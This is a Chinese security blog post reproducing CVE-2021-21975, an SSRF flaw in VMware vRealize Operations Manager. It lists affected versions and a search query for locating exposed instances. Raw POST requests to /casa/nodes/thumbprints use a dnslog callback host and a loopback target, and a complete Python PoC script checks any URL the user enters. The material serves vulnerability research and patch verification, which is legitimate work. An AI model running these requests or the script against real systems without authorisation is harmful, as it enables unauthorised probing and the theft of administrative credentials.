VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

  • A+
所属分类:安全漏洞

点击蓝字

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

关注我们



声明

本文作者:PeiQi
本文字数:1348

阅读时长:5min

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


前言


WgpSec·玄狼 漏洞复现组招收师傅 

有意者简历投至 

[email protected]




一、

漏洞描述

vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API的恶意攻击者可以执行服务器端请求伪造攻击(SSRF),以窃取管理凭据。

二、

漏洞影响

vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0

cloud_foundation: 4.x 3.x

vRealize_suite_lifecycle_manager: 8.x


三、

漏洞复现

title="vRealize Operations Manager"

访问登录页面如下

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

发送请求包如下
POST /casa/nodes/thumbprints HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Type: application/json;charset=UTF-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Length: 24

["eheeyd.dnslog.cn"]

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

POST /casa/nodes/thumbprints HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Type: application/json;charset=UTF-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Length: 24

["127.0.0.1:443/ui"]

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975


四、

漏洞POC


import requestsimport sysimport randomimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: VMware vRealize Operations Manager 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+ 33[36mDnslog >>> xxx.dnslog.com 33[0m') print('+------------------------------------------')
def POC_1(target_url, v): vuln_url = target_url + "/casa/nodes/thumbprints" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json;charset=UTF-8" } data = '["{}"]'.format(Dnslog) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=10) if response.status_code == 200 : print("33[32m[o] 目标 {} 可能存在SSRF漏洞,请检查 Dnslog 响应 33[0m".format(target_url, vuln_url)) else: print("33[31m[x] 目标 {} 不存在漏洞 33[0m".format(target_url)) except Exception as e: print("33[31m[x] 目标 {} 请求失败 33[0m".format(target_url))
if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) Dnslog = str(input("33[35mDnslog >>> 33[0m")) POC_1(target_url, Dnslog)

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975



作者



VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

PeiQi

感谢观看啦~



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975


本文始发于微信公众号(WgpSec狼组安全团队):VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: